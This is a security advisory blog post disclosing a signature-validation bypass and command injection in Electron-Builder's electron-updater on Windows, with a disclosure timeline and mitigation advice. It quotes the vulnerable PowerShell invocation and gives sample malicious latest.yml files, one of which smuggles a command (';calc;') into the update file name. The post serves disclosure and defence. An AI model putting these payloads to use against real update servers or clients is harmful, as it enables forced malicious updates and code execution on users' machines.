Signature Validation Bypass Leading to RCE In Electron-Updater
ATT&CK techniques detected
Which technique(s) should be tagged here? Pick zero or more — leaving blank just records that the original was wrong.
No matches for .
Loading techniques…
Which technique(s) should be tagged here? Pick zero or more — leaving blank just records that the original was wrong.
No matches for .
Loading techniques…
Which technique(s) should be tagged here? Pick zero or more — leaving blank just records that the original was wrong.
No matches for .
Loading techniques…
Which technique(s) should be tagged here? Pick zero or more — leaving blank just records that the original was wrong.
No matches for .
Loading techniques…
Which technique(s) should be tagged here? Pick zero or more — leaving blank just records that the original was wrong.
No matches for .
Loading techniques…
Summary
<blockquote> <p>We’ve been made aware that the vulnerability discussed in this blog post has been independently discovered and disclosed to the public by a well-known <a href="https://twitter.com/julianor/status/1228708674585157632">security researcher</a>. Since the security issue is now public and it is over 90 days from our initial disclosure to the maintainer, we have decided to publish the details - even though the fix available in the latest version of Electron-Builder does not fully mitigate the security flaw.</p> </blockquote> <p><a href="https://github.com/electron-userland/electron-builder">Electron-Builder</a> advertises itself as a “<em>complete solution to package and build a ready for distribution Electron app with auto update support out of the box</em>”. For macOS and Windows, code signing and verification are also supported. At the time of writing, the package counts around 100k weekly downloads, and it is being used by ~36k projects with over 8k stargazers. <br /></p> <div style="text-align: center;"> <img align="center" alt="Electron-Builder repository" src="../../../public/images/electron-builder-repository.jpg" style="display: block; margin-left: auto; margin-right: auto;" title="Electron-Builder repository" /> </div> <p>This software is commonly used to build platform-specific packages for ElectronJs-based applications and it is frequently employed for software updates as well. The auto-update feature is provided by its <a href="https://github.com/electron-userland/electron-builder/tree/master/packages/electron-updater">electron-updater</a> submodule, internally using <a href="https://github.com/Squirrel/Squirrel.Mac">Squirrel.Mac</a> for macOS, <a href="https://en.wikipedia.org/wiki/Nullsoft_Scriptable_Install_System">NSIS</a> for Windows and <a href="https://appimage.org/">AppImage</a> for Linux. In particular, it features a <a href="https://www.electron.build/code-signing">dual code-signing</a> method for Windows (supporting SHA1 & SHA256 hashing algorithms).</p> <h3 id="a-fail-open-design">A Fail Open Design</h3> <p>As part of a security engagement for one of our customers, we have reviewed the update mechanism performed by Electron Builder, and discovered an overall lack of secure coding practices. In particular, we identified a vulnerability that can be leveraged to bypass the signature verification check hence leading to remote command execution.</p> <p>The signature verification check performed by electron-builder is simply based on a string comparison between the installed binary’s <code class="language-plaintext highlighter-rouge">publisherName</code> and the certificate’s <em>Common Name</em> attribute of the update binary. During a software update, the application will request a file named <code class="language-plaintext highlighter-rouge">latest.yml</code> from the update server, which contains the definition of the new release - including the binary filename and hashes.</p> <p>To retrieve the update binary’s publisher, the module executes <a href="https://github.com/electron-userland/electron-builder/blob/a0026a7422977b449709f8a662d9dd30600a31b1/packages/electron-updater/src/windowsExecutableCodeSignatureVerifier.ts#L13-L43">the following code</a> leveraging the native <a href="https://docs.microsoft.com/en-us/powershell/module/microsoft.powershell.security/get-authenticodesignature?view=powershell-7">Get-AuthenticodeSignature</a> cmdlet from Microsoft.PowerShell.Security:</p> <div class="language-shell highlighter-rouge"><div class="highlight"><pre class="highlight"><code> execFile<span class="o">(</span><span class="s2">"powershell.exe"</span>, <span class="o">[</span><span class="s2">"-NoProfile"</span>, <span class="s2">"-NonInteractive"</span>, <span class="s2">"-InputFormat"</span>, <span class="s2">"None"</span>, <span class="s2">"-Command"</span>, <span class="sb">`</span>Get-AuthenticodeSignature <span class="s1">'${tempUpdateFile}'</span> | ConvertTo-Json <span class="nt">-Compress</span><span class="sb">`</span><span class="o">]</span>, <span class="o">{</span> <span class="nb">timeout</span>: 20 <span class="k">*</span> 1000 <span class="o">}</span>, <span class="o">(</span>error, stdout, stderr<span class="o">)</span> <span class="o">=></span> <span class="o">{</span> try <span class="o">{</span> <span class="k">if</span> <span class="o">(</span>error <span class="o">!=</span> null <span class="o">||</span> stderr<span class="o">)</span> <span class="o">{</span> handleError<span class="o">(</span>logger, error, stderr<span class="o">)</span> resolve<span class="o">(</span>null<span class="o">)</span> <span class="k">return</span> <span class="o">}</span> const data <span class="o">=</span> parseOut<span class="o">(</span>stdout<span class="o">)</span> <span class="k">if</span> <span class="o">(</span>data.Status <span class="o">===</span> 0<span class="o">)</span> <span class="o">{</span> const name <span class="o">=</span> parseDn<span class="o">(</span>data.SignerCertificate.Subject<span class="o">)</span>.get<span class="o">(</span><span class="s2">"CN"</span><span class="o">)!</span> <span class="k">if</span> <span class="o">(</span>publisherNames.includes<span class="o">(</span>name<span class="o">))</span> <span class="o">{</span> resolve<span class="o">(</span>null<span class="o">)</span> <span class="k">return</span> <span class="o">}</span> <span class="o">}</span> const result <span class="o">=</span> <span class="sb">`</span>publisherNames: <span class="k">${</span><span class="nv">publisherNames</span><span class="p">.join(</span><span class="s2">" | "</span><span class="p">)</span><span class="k">}</span>, raw info: <span class="sb">`</span> + JSON.stringify<span class="o">(</span>data, <span class="o">(</span>name, value<span class="o">)</span> <span class="o">=></span> name <span class="o">===</span> <span class="s2">"RawData"</span> ? undefined : value, 2<span class="o">)</span> logger.warn<span class="o">(</span><span class="sb">`</span>Sign verification failed, installer signed with incorrect certificate: <span class="k">${</span><span class="nv">result</span><span class="k">}</span><span class="sb">`</span><span class="o">)</span> resolve<span class="o">(</span>result<span class="o">)</span> <span class="o">}</span> catch <span class="o">(</span>e<span class="o">)</span> <span class="o">{</span> logger.warn<span class="o">(</span><span class="sb">`</span>Cannot execute Get-AuthenticodeSignature: <span class="k">${</span><span class="nv">error</span><span class="k">}</span><span class="nb">.</span> Ignoring signature validation due to unknown error.<span class="sb">`</span><span class="o">)</span> resolve<span class="o">(</span>null<span class="o">)</span> <span class="k">return</span> <span class="o">}</span> <span class="o">})</span> </code></pre></div></div> <p>which translates to the following PowerShell command:</p> <div class="language-shell highlighter-rouge"><div class="highlight"><pre class="highlight"><code>powershell.exe <span class="nt">-NoProfile</span> <span class="nt">-NonInteractive</span> <span class="nt">-InputFormat</span> None <span class="nt">-Command</span> <span class="s2">"Get-AuthenticodeSignature 'C:</span><span class="se">\U</span><span class="s2">sers</span><span class="se">\<</span><span class="s2">USER></span><span class="se">\A</span><span class="s2">ppData</span><span class="se">\R</span><span class="s2">oaming</span><span class="se">\<</span><span class="s2">vulnerable app name></span><span class="se">\_</span><span class="s2">_update__</span><span class="se">\<</span><span class="s2">update name>.exe' | ConvertTo-Json -Compress"</span> </code></pre></div></div> <p>Since the <code class="language-plaintext highlighter-rouge">${tempUpdateFile}</code> variable is provided unescaped to the <code class="language-plaintext highlighter-rouge">execFile</code> utility, an attacker could bypass the entire signature verification by triggering a parse error in the script. This can be easily achieved by using a filename containing a single quote and then by recalculating the file hash to match the attacker-provided binary (using <code class="language-plaintext highlighter-rouge">shasum -a 512 maliciousupdate.exe | cut -d " " -f1 | xxd -r -p | base64</code>).</p> <p>For instance, a malicious update definition would look like:</p> <div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>version: 1.2.3 files: - url: v’ulnerable-app-setup-1.2.3.exe sha512: GIh9UnKyCaPQ7ccX0MDL10UxPAAZ[...]tkYPEvMxDWgNkb8tPCNZLTbKWcDEOJzfA== size: 44653912 path: v'ulnerable-app-1.2.3.exe sha512: GIh9UnKyCaPQ7ccX0MDL10UxPAAZr1[...]ZrR5X1kb8tPCNZLTbKWcDEOJzfA== releaseDate: '2019-11-20T11:17:02.627Z' </code></pre></div></div> <p>When serving a similar <code class="language-plaintext highlighter-rouge">latest.yml</code> to a vulnerable Electron app, the attacker-chosen setup executable will be run without warnings. Alternatively, they may leverage the lack of escaping to pull out a trivial command injection:</p> <div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>version: 1.2.3 files: - url: v';calc;'ulnerable-app-setup-1.2.3.exe sha512: GIh9UnKyCaPQ7ccX0MDL10UxPAAZ[...]tkYPEvMxDWgNkb8tPCNZLTbKWcDEOJzfA== size: 44653912 path: v';calc;'ulnerable-app-1.2.3.exe sha512: GIh9UnKyCaPQ7ccX0MDL10UxPAAZr1[...]ZrR5X1kb8tPCNZLTbKWcDEOJzfA== releaseDate: '2019-11-20T11:17:02.627Z' </code></pre></div></div> <p>From an attacker’s standpoint, it would be more practical to backdoor the installer and then leverage preexisting electron-updater features like <a href="https://github.com/electron-userland/electron-builder/blob/master/packages/electron-updater/src/NsisUpdater.ts#L115">isAdminRightsRequired</a> to run the installer with <em>Administrator</em> privileges.</p> <div style="text-align: center;"> <img align="center" alt="PoC Reproduction of the command injection by using Burp's interception feature" src="../../../public/images/screen-electron-updater-poc.png" style="display: block; margin-left: auto; margin-right: auto;" title="PoC Reproduction of the command injection by using Burp's interception feature" /> </div> <h3 id="impact">Impact</h3> <p>An attacker could leverage this fail open design to force a malicious update on Windows clients, effectively gaining code execution and persistence capabilities. This could be achieved in several scenarios, such as a service compromise of the update server, or an advanced MITM attack leveraging the lack of certificate validation/pinning against the update server.</p> <h3 id="disclosure-timelines">Disclosure Timelines</h3> <p>Doyensec contacted the main project maintainer on <em>November 12th, 2019</em> providing a full description of the vulnerability together with a Proof-of-Concept. After multiple solicitations, on <em>January 7th, 2020</em> Doyensec received a reply acknowledging the bug but downplaying the risk.</p> <p>At the same time (<em>November 12th, 2019</em>), we identified and reported this issue to a number of affected popular applications using the vulnerable electron-builder update mechanism on Windows, including:</p> <ul> <li><a href="https://github.com/Automattic/wp-desktop">Wordpress for Desktop</a> - <em>Still vulnerable in v4.7.0</em></li> <li><a href="https://github.com/iotaledger/trinity-wallet/">IOTA Trinity Wallet</a> - <em>Auto-updates feature has been disabled for Windows (<a href="https://github.com/iotaledger/trinity-wallet/pull/2566">#2566</a>, <a href="https://github.com/iotaledger/trinity-wallet/pull/2588">#2588</a>)</em></li> <li><a href="https://github.com/meetalva/alva">Alva</a> - <em>Still vulnerable in v0.9.2</em></li> <li><a href="https://github.com/mymonero/mymonero-app-js">MyMonero</a> - <em>Still vulnerable in v1.1.13</em></li> <li><a href="https://github.com/cozy-labs/cozy-desktop">Cozy Drive</a> - <em>Still vulnerable in v3.19.0</em></li> </ul> <p>On <em>February 15th, 2020</em>, we’ve been made aware that the vulnerability discussed in this blog post was discussed on Twitter. On <em>February 24th, 2020</em>, we’ve been informed by the package’s mantainer that the issue was resolved in release <a href="https://github.com/electron-userland/electron-builder/releases/tag/v22.3.5">v22.3.5</a>. While the patch is mitigating the potential command injection risk, the fail-open condition is still in place and we believe that other attack vectors exist. After informing all affected parties, we have decided to publish our technical blog post to emphasize the risk of using Electron-Builder for software updates.</p> <h3 id="mitigations">Mitigations</h3> <p>Despite its popularity, <strong>we would suggest moving away from Electron-Builder</strong> due to the lack of secure coding practices and responsiveness of the maintainer.</p> <p><a href="https://www.electronforge.io/">Electron Forge</a> represents a potential well-maintained substitute, which is taking advantage of the built-in Squirrel framework and Electron’s <code class="language-plaintext highlighter-rouge">autoUpdater</code> module. Since the Squirrel.Windows doesn’t implement signature validation either, for a robust signature validation on Windows consider shipping the app to the Windows Store or incorporate <a href="https://github.com/jedisct1/minisign">minisign</a> into the update workflow.</p> <p>Please note that using Electron-Builder to prepare platform-specific binaries does not make the application vulnerable to this issue as the vulnerability affects the <em>electron-updater</em> submodule only. Updates for Linux and Mac packages are also not affected.</p> <p>If migrating to a different software update mechanism is not feasible, make sure to <strong>upgrade Electron-Builder to the latest version available</strong>. At the time of writing, we believe that other attack payloads for the same vulnerable code path still exists in Electron-Builder.</p> <p>Standard security hardening and monitoring on the update server is important, as full access on such system is required in order to exploit the vulnerability. Finally, enforcing TLS certificate validation and pinning for connections to the update server mitigates the MITM attack scenario.</p> <h3 id="credits">Credits</h3> <p>This issue was discovered and studied by <a href="https://github.com/ikkisoft">Luca Carettoni</a> and <a href="https://github.com/phosphore">Lorenzo Stella</a>. We would like to thank <em>Samuel Attard</em> of the ElectronJS Security WG for the review of this blog post.</p>